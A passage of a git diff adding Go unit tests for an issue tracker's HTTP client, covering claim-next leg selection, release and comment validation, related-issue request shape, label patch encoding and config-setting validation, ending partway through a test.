&empty}, + "force beside an expected assignee": {Actor: "holder", IssueID: "bd-1", ExpectedAssignee: &holder, Force: true}, + } { + t.Run(name, func(t *testing.T) { + w := &stubWire{} + _, err := releaserRole(t, w).Release(context.Background(), req) + if !errors.Is(err, issueops.ErrValidation) { + t.Fatalf("Release(%s) error = %v, want ErrValidation", name, err) + } + if len(w.calls) != 0 { + t.Errorf("a request the role calls invalid reached the server: %v", w.calls) + } + }) + } +} + +// TestReleaseValidationMatchesTheSharedValidator binds the restated rules to +// internal/workapi's own, which is the answer to readyclaimer.go's warning that +// a restated rule is how a leg drifts. +// +// The import is legal HERE and nowhere else in this package: depguard denies +// internal/workapi to the client's non-test files, because a client that can +// build a filter is a client whose narrowing no server-side gate can observe. A +// test has no such power, so this is where the two definitions can be held to +// each other — the same arrangement TestDefaultListLimitMatchesTheSharedDefault +// uses for the list default. +// +// It compares VERDICTS over a table that covers both sides of every rule, which +// is what makes a drift in either direction fail: a rule dropped here, and a +// rule added upstream that this copy does not have. +func TestReleaseValidationMatchesTheSharedValidator(t *testing.T) { + empty := "" + blank := " " + holder := "holder" + padded := " holder" + + for name, req := range map[string]issueops.ReleaseRequest{ + "valid unconditional": {Actor: "holder", IssueID: "bd-1"}, + "valid forced": {Actor: "reaper", IssueID: "bd-1", Force: true}, + "valid conditional": {Actor: "supervisor", IssueID: "bd-1", ExpectedAssignee: &holder}, + "valid padded expectation": { + Actor: "supervisor", IssueID: "bd-1", ExpectedAssignee: &padded, + }, + "no actor": {IssueID: "bd-1"}, + "blank actor": {Actor: blank, IssueID: "bd-1"}, + "no issue id": {Actor: "holder"}, + "blank issue id": {Actor: "holder", IssueID: blank}, + "empty expectation": {Actor: "holder", IssueID: "bd-1", ExpectedAssignee: &empty}, + "blank expectation": {Actor: "holder", IssueID: "bd-1", ExpectedAssignee: &blank}, + "force beside a guard": { + Actor: "holder", IssueID: "bd-1", ExpectedAssignee: &holder, Force: true, + }, + } { + t.Run(name, func(t *testing.T) { + mine := validateReleaseRequest(req) != nil + shared := workapi.ValidateReleaseRequest(req) != nil + if mine != shared { + t.Errorf("validateReleaseRequest refuses = %v, workapi.ValidateReleaseRequest refuses = %v: "+ + "the client's restatement has drifted from the rule every other Releaser runs", mine, shared) + } + }) + } +} + +// TestReleaseSentinelsTravelWhole is the transcription clause, and it is here +// because the value of this accessor to a downstream adapter is entirely in +// which refusal it gets. +// +// gc's ReleaseIfCurrent lane maps FOUR of these onto a quiet (false, nil) — an +// id that names nothing, a row holding no claim, a status that will not accept a +// release, and a guard that missed — and keeps the rest as errors. That mapping +// is only possible while the sentinels arrive distinguishable, so this pins that +// the role adds no swallowing of its own: every refusal the transport produced +// comes back matching the sentinel it arrived as. +// +// ErrNotClaimed is deliberately absent from the table and that absence is +// ledgered, not forgotten: the wire spells it and ErrNotReleasable with one +// code, so it cannot arrive over http at all (L-release-notclaimed). +func TestReleaseSentinelsTravelWhole(t *testing.T) { + for name, sentinel := range map[string]error{ + "absent id": issueops.ErrNotFound, + "not releasable": issueops.ErrNotReleasable, + "guard missed": issueops.ErrAssigneeMismatch, + "foreign holder": issueops.ErrAlreadyClaimed, + "server validation": issueops.ErrValidation, + } { + t.Run(name, func(t *testing.T) { + w := &stubWire{errs: []error{sentinel}} + res, err := releaserRole(t, w).Release(context.Background(), issueops.ReleaseRequest{ + Actor: "holder", IssueID: "bd-1", + }) + if !errors.Is(err, sentinel) { + t.Fatalf("Release() error = %v, want %v to survive the role", err, sentinel) + } + if res.Issue != nil || res.Changed { + t.Errorf("a refused release answered %+v, want the zero result", res) + } + }) + } +} + +// TestCommentSendsTheAuthorVerbatim pins the caller-asserted half. +// +// The author is not the authenticated principal and not a configured actor: it +// lands IN the row and is read back by everyone who sees the thread. So the +// client applies no default and no normalization — a client that substituted the +// workspace's actor, or trimmed, would publish a claim the caller did not make +// under a name the caller did not choose. +func TestCommentSendsTheAuthorVerbatim(t *testing.T) { + const author = " Ada Lovelace " + const text = "\n a body that keeps its own whitespace \n" + w := &stubWire{commented: &types.Comment{ID: "c-7", Author: author, Text: text}} + + res, err := commenterRole(t, w).AddComment(context.Background(), issueops.AddCommentRequest{ + Author: author, IssueID: "bd-1", Text: text, + }) + if err != nil { + t.Fatalf("AddComment(): %v", err) + } + if w.lastComment.Author != author { + t.Errorf("author = %q, want %q verbatim", w.lastComment.Author, author) + } + if w.lastComment.Text != text { + t.Errorf("text = %q, want %q verbatim: the column is a document and nothing here trims it", w.lastComment.Text, text) + } + if want := []string{"addComment:bd-1"}; !reflect.DeepEqual(w.calls, want) { + t.Errorf("calls = %v, want %v", w.calls, want) + } + if res.Comment == nil || res.Comment.ID != "c-7" { + t.Errorf("Comment = %+v, want the stored row the server answered with", res.Comment) + } +} + +// TestCommentAnswersTheStoredRowAsACopy: the result is the whole payload of this +// role, and it must not be a window onto a decoded response body — a caller +// keeps CreatedAt as a comment-page cursor. +func TestCommentAnswersTheStoredRowAsACopy(t *testing.T) { + body := &types.Comment{ID: "c-7", Author: "ada", Text: "t"} + w := &stubWire{commented: body} + + res, err := commenterRole(t, w).AddComment(context.Background(), issueops.AddCommentRequest{ + Author: "ada", IssueID: "bd-1", Text: "t", + }) + if err != nil { + t.Fatalf("AddComment(): %v", err) + } + res.Comment.Author = "mutated" + if body.Author != "ada" { + t.Error("the answer aliases the decoded response body") + } +} + +// TestCommentRefusesABodilessSuccess covers the one answer this role cannot +// pass through: a 200 with no comment in it. +// +// Reading that as a success would return a nil *Comment through a result whose +// only member is that pointer, moving the panic to whichever caller +// dereferenced it — and the two facts the role promises, the minted id and the +// stored created_at, would simply be absent. +func TestCommentRefusesABodilessSuccess(t *testing.T) { + w := &stubWire{commented: nil} + _, err := commenterRole(t, w).AddComment(context.Background(), issueops.AddCommentRequest{ + Author: "ada", IssueID: "bd-1", Text: "t", + }) + if err == nil { + t.Fatal("a 200 carrying no comment was read as a success") + } + if !strings.Contains(err.Error(), "no body") { + t.Errorf("error = %v, want it to name the absent body", err) + } +} + +// TestCommentRefusesBeforeTheDial is the pre-dial rule on this role. All three +// refusals come from the SHARED validator, so this also pins that the client +// runs it rather than a restatement. +func TestCommentRefusesBeforeTheDial(t *testing.T) { + for name, req := range map[string]issueops.AddCommentRequest{ + "no author": {IssueID: "bd-1", Text: "t"}, + "no issue id": {Author: "ada", Text: "t"}, + "blank text": {Author: "ada", IssueID: "bd-1", Text: " \n "}, + } { + t.Run(name, func(t *testing.T) { + w := &stubWire{} + _, err := commenterRole(t, w).AddComment(context.Background(), req) + if !errors.Is(err, issueops.ErrValidation) { + t.Fatalf("AddComment(%s) error = %v, want ErrValidation", name, err) + } + if len(w.calls) != 0 { + t.Errorf("a request the role calls invalid reached the server: %v", w.calls) + } + }) + } +} + +// TestRelationDirectionsMatchTheGeneratedEnum is the gotcha's gate. +// +// apigen carries TWO [out, in] enums — this operation's and +// countDependencyEdges' — and the arrival of the second renamed the bare In/Out +// constants a first draft would reach for. Both spell the same values today, so +// a cross-wired reference compiles and passes; what it would not survive is +// either enum's values changing, and by then the symptom is an inverse graph +// with the same shape and the same member names. +func TestRelationDirectionsMatchTheGeneratedEnum(t *testing.T) { + for direction, want := range map[issueops.RelationDirection]apigen.ListRelatedIssuesParamsDirection{ + issueops.RelationOut: apigen.ListRelatedIssuesParamsDirectionOut, + issueops.RelationIn: apigen.ListRelatedIssuesParamsDirectionIn, + } { + if got := relationDirection(direction); got != string(want) { + t.Errorf("relationDirection(%q) = %q, want %q", direction, got, want) + } + if !want.Valid() { + t.Errorf("%q is not a member of ListRelatedIssuesParamsDirection", want) + } + } + // The sibling enum is named here on purpose: this is the assertion that goes + // red the day the two stop agreeing, which is the moment a cross-wired + // constant stops being invisible. It is a Log rather than an Error because a + // divergence between the two enums is upstream's to make — what this test + // FAILS on is this client sending the wrong one. + if string(apigen.ListRelatedIssuesParamsDirectionOut) != string(apigen.CountDependencyEdgesParamsDirectionOut) || + string(apigen.ListRelatedIssuesParamsDirectionIn) != string(apigen.CountDependencyEdgesParamsDirectionIn) { + t.Log("the two direction enums have diverged; relationDirection must keep sending this operation's own constants") + } +} + +// TestRelatedRefusesBeforeTheDial covers the refusal that exists ONLY on this +// side of the wire. +// +// The server bounds the path id before the role is reached, so an empty anchor +// is a 404 there — meaning a client that forwarded one would answer ErrNotFound +// where every other backend answers ErrValidation. The direction and type +// refusals are reachable on both sides; this asserts all three are made here, in +// the shared validator's own order. +func TestRelatedRefusesBeforeTheDial(t *testing.T) { + long := strings.Repeat("x", types.MaxDependencyTypeLen+1) + + for name, req := range map[string]issueops.RelatedRequest{ + "no anchor": {Direction: issueops.RelationOut}, + "zero direction": {ID: "bd-1"}, + "unknown direction": {ID: "bd-1", Direction: issueops.RelationDirection("sideways")}, + "empty type": {ID: "bd-1", Direction: issueops.RelationOut, Types: []types.DependencyType{""}}, + "oversized type": {ID: "bd-1", Direction: issueops.RelationOut, Types: []types.DependencyType{types.DependencyType(long)}}, + } { + t.Run(name, func(t *testing.T) { + role, w := relationsRole(t) + if _, err := role.Related(context.Background(), req); !errors.Is(err, issueops.ErrValidation) { + t.Fatalf("Related(%s) error = %v, want ErrValidation", name, err) + } + if len(w.requests) != 0 { + t.Errorf("a request the role calls invalid reached the server: %+v", w.requests) + } + }) + } +} + +// TestRelatedSendsTheAnchorInThePathAndTheFiltersInTheQuery is the request +// shape. +// +// The anchor is a PATH segment, which is what makes this role's miss a 404 +// rather than a per-anchor sentinel, and the type filter is REPEATED rather than +// comma-joined — the operation reads it with the repeatable list decoder and +// does no splitting, so a comma would travel into a type name. +func TestRelatedSendsTheAnchorInThePathAndTheFiltersInTheQuery(t *testing.T) { + role, w := relationsRole(t) + if _, err := role.Related(context.Background(), issueops.RelatedRequest{ + ID: "ga-1:x", + Direction: issueops.RelationIn, + Types: []types.DependencyType{types.DepBlocks, "parent-child"}, + }); err != nil { + t.Fatalf("Related(): %v", err) + } + if len(w.requests) != 1 { + t.Fatalf("dialed %d times, want 1", len(w.requests)) + } + req := w.requests[0] + if want := "/v0/beads/issues/ga-1%3Ax/related"; req.Path != want { + t.Errorf("path = %q, want %q: the anchor is one escaped segment under a literal collection", req.Path, want) + } + if req.IssueID != "ga-1:x" { + t.Errorf("IssueID = %q, want the anchor so a refusal names the row the request named", req.IssueID) + } + if got := req.Query.Get("direction"); got != "in" { + t.Errorf("direction = %q, want %q", got, "in") + } + if got, want := req.Query["type"], []string{"blocks", "parent-child"}; !reflect.DeepEqual(got, want) { + t.Errorf("type = %v, want %v repeated rather than joined", got, want) + } +} + +// TestRelatedAnswersAnEmptyPageWithoutNil is the never-nil promise, and it is +// the one shape a DECODE can produce that the document forbids: `items` is +// published as an empty array and never null, but an absent member unmarshals to +// a nil slice, and a caller ranges over the answer without checking. +func TestRelatedAnswersAnEmptyPageWithoutNil(t *testing.T) { + role, _ := relationsRole(t) + items, err := role.Related(context.Background(), issueops.RelatedRequest{ + ID: "bd-1", Direction: issueops.RelationOut, + }) + if err != nil { + t.Fatalf("Related(): %v", err) + } + if items == nil { + t.Fatal("Related() answered nil on a successful call") + } + if len(items) != 0 { + t.Errorf("Related() answered %d rows from an empty body", len(items)) + } +} + +// TestRelatedLeavesTheCallersTypesAlone: RelatedRequest travels by value, so +// Types is the one member a body could write through — and reading it into a set +// is fine while sorting or de-duplicating it in place is not. +func TestRelatedLeavesTheCallersTypesAlone(t *testing.T) { + types_ := []types.DependencyType{"related", types.DepBlocks, "related"} + snapshot := append([]types.DependencyType(nil), types_...) + + role, _ := relationsRole(t) + if _, err := role.Related(context.Background(), issueops.RelatedRequest{ + ID: "bd-1", Direction: issueops.RelationOut, Types: types_, + }); err != nil { + t.Fatalf("Related(): %v", err) + } + if !reflect.DeepEqual(types_, snapshot) { + t.Errorf("the caller's Types changed across the call: %v, want %v", types_, snapshot) + } +} diff --git a/internal/httpclient/wave2c_claimnext_test.go b/internal/httpclient/wave2c_claimnext_test.go new file mode 100644 index 000000000..9a05b7ee0 --- /dev/null +++ b/internal/httpclient/wave2c_claimnext_test.go @@ -0,0 +1,356 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/wave2c_claimnext_test.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "context" + "errors" + "sort" + "strings" + "testing" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/internal/httpclient/wire" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" +) + +// The unit half of client wave 2c's claimNext: which LEG the role takes, what +// the served one sends, and the one shape of answer a correct server never +// produces and this client must not pass on. +// +// The served-surface tier runs the whole eleven-case contract against the +// operation, so what is left here is what a correct server hides. Two things +// qualify. The DOWN-LEVEL leg cannot be reached through a real bd serve at all +// — the in-process server advertises every implemented operation — so a +// capability-gated fallback that had stopped working would be invisible to every +// test in this tree. And the FILTER travels as a query string, so a member the +// encoder dropped would widen the candidate set silently: the server would +// answer a correct claim for a question nobody asked. + +// claimNextStore builds a store whose cached handshake advertises exactly the +// tokens given, which is how a case here chooses the leg under test. +// +// It is the store's SNAPSHOT rather than the wire's handshake because that is +// what the role consults: (*Store).snapshot is the one lazy handshake the store +// owns, and servesClaimNext reads the capability list off it. +func claimNextStore(t *testing.T, w *stubWire, capabilities ...string) *Store { + t.Helper() + return New(testTarget(t), w, &apigen.ContextResponse{BdVersion: "1.2.3", Capabilities: capabilities}) +} + +func claimNextRole(t *testing.T, s *Store) issueops.ReadyClaimer { + t.Helper() + role, err := s.ReadyClaimer() + if err != nil { + t.Fatalf("ReadyClaimer(): %v", err) + } + return role +} + +// claimNextToken is the capability a server advertises for the operation. It is +// read from the client's own vocabulary rather than spelled, so a token renamed +// upstream reaches these cases through the same map the role consults. +func claimNextToken(t *testing.T) string { + t.Helper() + token, ok := wire.CapabilityFor(wire.OpClaimNextIssue) + if !ok { + t.Fatal("the client's vocabulary has no capability for claimNextIssue") + } + return token +} + +// TestClaimNextTakesTheOperationWhereTheServerAdvertisesItAndComposesWhereItDoesNot +// is the leg choice, both arms, which is the whole reason the fallback is not +// dead code. +// +// A real bd serve advertises every operation it implements, so the served-surface +// tier can only ever exercise ONE of these two paths. Without this case the +// down-level leg would compile, would be the only thing standing between a +// pre-#5510 server and a broken `bd ready --claim`, and would be exercised by +// nothing at all. +func TestClaimNextTakesTheOperationWhereTheServerAdvertisesItAndComposesWhereItDoesNot(t *testing.T) { + claimed := &types.IssueWithCounts{Issue: &types.Issue{ID: "bd-1", Status: types.StatusInProgress, Assignee: "ada"}} + + served := &stubWire{claimedNext: &apigen.ClaimNextResponse{Claimed: claimed}} + res, err := claimNextRole(t, claimNextStore(t, served, claimNextToken(t))). + ClaimNext(context.Background(), issueops.ClaimNextRequest{Actor: "ada"}) + if err != nil { + t.Fatalf("ClaimNext against a server that advertises the operation: %v", err) + } + if res.Claimed == nil || res.Claimed.ID != "bd-1" { + t.Errorf("the served leg answered %v, want the row the operation claimed", res.Claimed) + } + if want := []string{"claimNextIssue"}; !equalCalls(served.calls, want) { + t.Errorf("the served leg called %v, want %v: one operation, no listing beside it", served.calls, want) + } + + // The SAME request against a server that does not advertise it. The stub's + // ready page is what the composition walks; the claim answers the row. + down := &stubWire{ + ready: []*apigen.ReadyPage{{Items: []apigen.IssueWithCounts{{Issue: &types.Issue{ID: "bd-2"}}}}}, + claim: &apigen.ClaimResponse{Issue: types.Issue{ID: "bd-2", Status: types.StatusInProgress, Assignee: "ada"}}, + } + res, err = claimNextRole(t, claimNextStore(t, down)). + ClaimNext(context.Background(), issueops.ClaimNextRequest{Actor: "ada"}) + if err != nil { + t.Fatalf("ClaimNext against a server too old for the operation: %v", err) + } + if res.Claimed == nil || res.Claimed.ID != "bd-2" { + t.Errorf("the down-level leg answered %v, want the row the composition claimed", res.Claimed) + } + if want := []string{"listReadyWork", "claimIssue:bd-2"}; !equalCalls(down.calls, want) { + t.Errorf("the down-level leg called %v, want %v: the composition L14 describes", down.calls, want) + } +} + +// TestClaimNextSendsTheFilterAsTheReadyQueryAndTheActorAsTheBody is the request, +// member for member. +// +// THE SPLIT IS THE OPERATION'S: the filter is `listReadyWork`'s vocabulary and +// goes through the same server-side decode, so it travels as a query string and +// a body object would be a second expression of one predicate. The actor is +// provenance that lands in a column. +// +// TWO PARAMETERS MUST BE ABSENT and their absence is asserted rather than +// assumed. `limit` is refused BY VALUE on this operation — any value at all is a +// 400, because the scan must stay unbounded — and `brief` has no spelling here, +// because the claim refetches its winner whole. A client that reused the +// listing's encoder verbatim would send both. +func TestClaimNextSendsTheFilterAsTheReadyQueryAndTheActorAsTheBody(t *testing.T) { + w := &stubWire{claimedNext: &apigen.ClaimNextResponse{}} + role := claimNextRole(t, claimNextStore(t, w, claimNextToken(t))) + + if _, err := role.ClaimNext(context.Background(), issueops.ClaimNextRequest{ + Actor: "ada", + Filter: issueops.ReadyRequest{ + Labels: []string{"lane", "urgent"}, + LabelsAny: []string{"a", "b"}, + ExcludeLabels: []string{"held"}, + IssueType: "task", + ParentID: "bd-parent", + IncludeEphemeral: true, + Sort: "oldest", + }, + }); err != nil { + t.Fatalf("ClaimNext: %v", err) + } + + q := w.lastClaimNextParams + for param, want := range map[string][]string{ + "label": {"lane", "urgent"}, + "label_any": {"a", "b"}, + "exclude_label": {"held"}, + "type": {"task"}, + "parent": {"bd-parent"}, + "include_ephemeral": {"true"}, + "sort": {"oldest"}, + } { + if got := q[param]; !equalCalls(got, want) { + t.Errorf("the claim sent %s=%v, want %v", param, got, want) + } + } + for _, absent := range []string{"limit", "brief"} { + if _, present := q[absent]; present { + t.Errorf("the claim sent %s=%v; the operation refuses a limit by value and publishes no projection at all", + absent, q[absent]) + } + } + if w.lastClaimNextBody.Actor != "ada" { + t.Errorf("the claim body carried actor %q, want %q", w.lastClaimNextBody.Actor, "ada") + } +} + +// TestClaimNextSendsTheSortPolicyEvenWhenTheRequestNamesNone is the one filter +// member whose default decides which row is WRITTEN. +// +// An absent `sort` is `priority` to the handler and `hybrid` to the storage +// layer, and those two answer with different rows. The listing encoder sends the +// concrete policy an empty one means for exactly that reason, and a claim has +// more at stake than a listing does: the listing would print a different order, +// this mutates a different issue. +func TestClaimNextSendsTheSortPolicyEvenWhenTheRequestNamesNone(t *testing.T) { + w := &stubWire{claimedNext: &apigen.ClaimNextResponse{}} + role := claimNextRole(t, claimNextStore(t, w, claimNextToken(t))) + if _, err := role.ClaimNext(context.Background(), issueops.ClaimNextRequest{Actor: "ada"}); err != nil { + t.Fatalf("ClaimNext: %v", err) + } + if got := w.lastClaimNextParams.Get("sort"); got != "hybrid" { + t.Errorf("the claim sent sort=%q for a request naming none, want %q: an absent parameter is the "+ + "handler's `priority` and the storage layer's `hybrid`, which claim different rows", got, "hybrid") + } +} + +// TestClaimNextRefusesAClaimCarryingNoRow is the served leg's one trust rule. +// +// types.IssueWithCounts embeds the row as a POINTER, so an object carrying the +// cardinalities and none of the issue's own members decodes to a non-nil claim +// whose Issue is nil — a shape nothing on the wire tells apart from a claim that +// landed. Passing it through is not a wrong answer but a PANIC in the caller: +// `bd ready --claim` dereferences the claimed row's ID with no nil check. +// +// THE ABSENT CLAIM IS THE CONTROL beside it, and it is the case that keeps the +// guard from being written as "refuse anything falsy": a drained front is a 200 +// whose body is `{}`, which is the role's nil-Claimed nil-error answer and must +// stay one. +func TestClaimNextRefusesAClaimCarryingNoRow(t *testing.T) { + rowless := &stubWire{claimedNext: &apigen.ClaimNextResponse{ + Claimed: &types.IssueWithCounts{DependencyCount: 2, CommentCount: 1}, + }} + _, err := claimNextRole(t, claimNextStore(t, rowless, claimNextToken(t))). + ClaimNext(context.Background(), issueops.ClaimNextRequest{Actor: "ada"}) + if err == nil { + t.Fatal("a claim carrying no issue was passed through; the caller dereferences it with no nil check") + } + if !strings.Contains(err.Error(), "no issue") { + t.Errorf("the refusal reads %q, want it to name the missing row", err) + } + + drained := &stubWire{claimedNext: &apigen.ClaimNextResponse{}} + res, err := claimNextRole(t, claimNextStore(t, drained, claimNextToken(t))). + ClaimNext(context.Background(), issueops.ClaimNextRequest{Actor: "ada"}) + if err != nil || res.Claimed != nil { + t.Errorf("a drained front answered (%v, %v), want (nil, nil): an absent claim is the steady state of "+ + "a drained queue, not a broken server", res.Claimed, err) + } +} + +// TestClaimNextValidationRunsBeforeTheLegIsChosen pins that both legs refuse the +// same set, and that neither spends a round trip doing it. +// +// The rules are the shared validator's — Limit, Offset, Brief and an empty actor +// — and running them before the capability check is what makes them the ROLE's +// answer rather than a property of whichever server the caller happens to be +// pointed at. A validation refusal that reached the handshake would also mean a +// caller with no server at all could not be told its request was invalid. +func TestClaimNextValidationRunsBeforeTheLegIsChosen(t *testing.T) { + limit := 5 + for _, tc := range []struct { + name string + req issueops.ClaimNextRequest + }{ + {"an empty actor", issueops.ClaimNextRequest{}}, + {"a limit", issueops.ClaimNextRequest{Actor: "ada", Filter: issueops.ReadyRequest{Limit: &limit}}}, + {"an offset", issueops.ClaimNextRequest{Actor: "ada", Filter: issueops.ReadyRequest{Offset: 3}}}, + {"a projection", issueops.ClaimNextRequest{Actor: "ada", Filter: issueops.ReadyRequest{Brief: true}}}, + } { + t.Run(tc.name, func(t *testing.T) { + for _, leg := range []struct { + name string + token []string + }{{"served", []string{claimNextToken(t)}}, {"down-level", nil}} { + w := &stubWire{claimedNext: &apigen.ClaimNextResponse{}} + _, err := claimNextRole(t, claimNextStore(t, w, leg.token...)).ClaimNext(context.Background(), tc.req) + if !errors.Is(err, issueops.ErrValidation) { + t.Errorf("%s leg: refusal = %v, want ErrValidation", leg.name, err) + } + if len(w.calls) != 0 { + t.Errorf("%s leg: the refused request still dialed %v", leg.name, w.calls) + } + } + }) + } +} + +// equalCalls compares two string slices element for element. +func equalCalls(got, want []string) bool { + if len(got) != len(want) { + return false + } + for i := range got { + if got[i] != want[i] { + return false + } + } + return true +} + +// TestUpdateSendsTheWholeOrderedLabelEdit is what replaced W-IssuePatch.Labels' +// refusal pin, and the shape of the replacement is the point: a retired refusal +// invites exactly one failure — a member that stopped being refused and never +// started being sent — which no negative assertion can see. +// +// THE PATCH IS A DOCUMENT, so the compiler checks nothing about these three +// names. A typo would produce a 400 from a live server and pass every test that +// does not dial one; this reads the document the encoder built. +// +// EACH ARM IS DRIVEN ALONE as well as together, because the three are one field +// on the role and an encoder that assembled them into a single member would pass +// a combined case while dropping two of them. +func TestUpdateSendsTheWholeOrderedLabelEdit(t *testing.T) { + for _, tc := range []struct { + name string + patch issueops.LabelPatch + want map[string][]string + }{ + {"an add alone", issueops.LabelPatch{Add: []string{"lane", "urgent"}}, + map[string][]string{"add_labels": {"lane", "urgent"}}}, + {"a remove alone", issueops.LabelPatch{Remove: []string{"held"}}, + map[string][]string{"remove_labels": {"held"}}}, + {"a replace alone", issueops.LabelPatch{Replace: issueops.Field[[]string]{Set: true, Value: []string{"only"}}}, + map[string][]string{"labels": {"only"}}}, + {"the clear", issueops.LabelPatch{Replace: issueops.Field[[]string]{Set: true}}, + map[string][]string{"labels": {}}}, + {"all three together", issueops.LabelPatch{ + Replace: issueops.Field[[]string]{Set: true, Value: []string{"base"}}, + Add: []string{"added"}, + Remove: []string{"base"}, + }, map[string][]string{"labels": {"base"}, "add_labels": {"added"}, "remove_labels": {"base"}}}, + } { + t.Run(tc.name, func(t *testing.T) { + document, err := encodeIssuePatch(issueops.IssuePatch{Labels: tc.patch}) + if err != nil { + t.Fatalf("encodeIssuePatch: %v", err) + } + for member, want := range tc.want { + got, present := document[member] + if !present { + t.Fatalf("the document carries no %q; it carries %v", member, sortedDocumentMembers(document)) + } + values, ok := got.([]string) + if !ok { + t.Fatalf("%q is %T, want []string", member, got) + } + if !equalCalls(values, want) { + t.Errorf("%q = %v, want %v", member, values, want) + } + } + for member := range document { + if _, wanted := tc.want[member]; !wanted { + t.Errorf("the document carries %q, which this edit did not ask for: an empty add or remove "+ + "is one value with nil on the role, so sending it would put a member on the wire that says nothing", member) + } + } + }) + } +} + +// TestUpdateSendsNoLabelMemberForAnEmptyEdit is the other half of the emission +// rule, and it is separate because it is about a patch that is EMPTY. +// +// A LabelPatch carrying non-nil but empty slices expresses no edit — Add and +// Remove are bare slices on the role, so nil and empty are one value there — and +// emitting them would turn a patch the server refuses as empty into one it +// accepts and applies as nothing. +func TestUpdateSendsNoLabelMemberForAnEmptyEdit(t *testing.T) { + document, err := encodeIssuePatch(issueops.IssuePatch{ + Labels: issueops.LabelPatch{Add: []string{}, Remove: []string{}}, + }) + if err != nil { + t.Fatalf("encodeIssuePatch: %v", err) + } + if len(document) != 0 { + t.Errorf("an edit carrying two empty slices encoded %v, want nothing", sortedDocumentMembers(document)) + } +} + +// sortedDocumentMembers names what a patch document carries, for a failure that +// has to say what WAS there. +func sortedDocumentMembers(document map[string]any) []string { + names := make([]string, 0, len(document)) + for name := range document { + names = append(names, name) + } + sort.Strings(names) + return names +} diff --git a/internal/httpclient/wave2c_config_test.go b/internal/httpclient/wave2c_config_test.go new file mode 100644 index 000000000..300233fba --- /dev/null +++ b/internal/httpclient/wave2c_config_test.go @@ -0,0 +1,302 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/wave2c_config_test.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "context" + "errors" + "net/http" + "strings" + "testing" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/internal/httpclient/wire" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/internal/workapi" + "github.com/steveyegge/beads/issueops" +) + +// The unit half of client wave 2c's config writes: what the client SENDS, and +// which refusals it raises without dialing at all. +// +// The served tier runs the whole twenty-one-case contract and three pins of its +// own, so what is left here is the two facts a correct server hides. A client +// that skipped its own validation would still pass every contract case — the +// server refuses the same three requests at the edge — while spending a round +// trip to be told what the role's own contract already calls invalid, and +// binding the classification to a problem body a future server release might +// spell differently. And a client that sent the wrong METHOD or the wrong PATH +// would fail loudly against a server but says nothing about which of the two was +// wrong; a recorded request does. + +// TestSettingWriteValidationMatchesTheSharedValidator is the drift pin for the +// one validator this package had to copy. +// +// depguard denies internal/workapi to this package — a client that could build a +// filter is a client whose narrowing no server-side gate can observe — but not +// to a test file, which is the exemption releaser.go and counter.go already use +// for the same reason. Driving both bodies over one table is what makes them +// agree case by case rather than in prose. +// +// THE VALUE IS PART OF THE TABLE, not only the key, because one of the three +// rules is about a value: `status.custom` is projected into a lookup table reads +// consult first, so a value that cannot be projected must not become a row. +func TestSettingWriteValidationMatchesTheSharedValidator(t *testing.T) { + for _, tc := range []struct { + name string + key string + value string + }{ + {"an ordinary key", "routing.default", "core"}, + {"an empty key", "", "x"}, + {"a blank key", " ", "x"}, + {"the protected key", issueops.SettingKeyIssuePrefix, "bd"}, + {"the protected key, dashed", settingKeyIssuePrefixDashed, "bd"}, + {"a parseable custom status", issueops.SettingKeyStatusCustom, "awaiting_review:active"}, + {"an unparseable custom status", issueops.SettingKeyStatusCustom, "open"}, + {"an empty custom status", issueops.SettingKeyStatusCustom, ""}, + {"a custom type list", issueops.SettingKeyTypesCustom, "not:a:status"}, + {"a key that only LOOKS protected", "issue_prefix_backup", "bd"}, + } { + t.Run(tc.name, func(t *testing.T) { + mine := validateSettingWrite(tc.key, tc.value) + _, theirs := workapi.ValidateSettingWrite(tc.key, tc.value) + if (mine == nil) != (theirs == nil) { + t.Fatalf("validateSettingWrite(%q, %q) = %v but workapi.ValidateSettingWrite = %v: "+ + "this leg refuses a different set from the one every other leg refuses", tc.key, tc.value, mine, theirs) + } + if mine != nil && !errors.Is(mine, issueops.ErrValidation) { + t.Errorf("validateSettingWrite(%q, %q) = %v, which does not match ErrValidation", tc.key, tc.value, mine) + } + }) + } +} + +// TestSettingKeyValidationMatchesTheSharedValidator is the same pin for the +// narrower rule the READ and the REMOVE share. +// +// It is a separate case because the two validators refuse different sets on +// purpose: the protected key is refused on a write and NOT on a remove, which is +// shipped behavior on every implementation (bd-yby99.34) rather than something +// this client decides. A single table would have hidden that. +func TestSettingKeyValidationMatchesTheSharedValidator(t *testing.T) { + for _, key := range []string{"routing.default", "", " ", issueops.SettingKeyIssuePrefix, settingKeyIssuePrefixDashed} { + mine := validateSettingKey(key) + _, theirs := workapi.ValidateSettingKey(key) + if (mine == nil) != (theirs == nil) { + t.Errorf("validateSettingKey(%q) = %v but workapi.ValidateSettingKey = %v", key, mine, theirs) + } + if mine != nil && !errors.Is(mine, issueops.ErrValidation) { + t.Errorf("validateSettingKey(%q) = %v, which does not match ErrValidation", key, mine) + } + } +} + +// TestConfigWritesRefuseBeforeTheDial is the ordering half of the rule above. +// +// Agreeing with the shared validator is worth nothing if the refusal happens +// after the request has already been sent: the point of restating a role rule is +// that an invalid request does not consume a write slot to be told so. This +// drives every refusing shape against a recording transport and asserts nothing +// left the process. +func TestConfigWritesRefuseBeforeTheDial(t *testing.T) { + for _, tc := range []struct { + name string + call func(issueops.WorkspaceConfig) error + }{ + {"set with an empty key", func(c issueops.WorkspaceConfig) error { + _, err := c.SetSetting(context.Background(), issueops.SetSettingRequest{Key: " ", Value: "x"}) + return err + }}, + {"set of the protected key", func(c issueops.WorkspaceConfig) error { + _, err := c.SetSetting(context.Background(), issueops.SetSettingRequest{Key: issueops.SettingKeyIssuePrefix, Value: "bd"}) + return err + }}, + {"set of an unparseable custom status", func(c issueops.WorkspaceConfig) error { + _, err := c.SetSetting(context.Background(), issueops.SetSettingRequest{Key: issueops.SettingKeyStatusCustom, Value: "open"}) + return err + }}, + {"unset with an empty key", func(c issueops.WorkspaceConfig) error { + _, err := c.UnsetSetting(context.Background(), issueops.UnsetSettingRequest{Key: ""}) + return err + }}, + } { + t.Run(tc.name, func(t 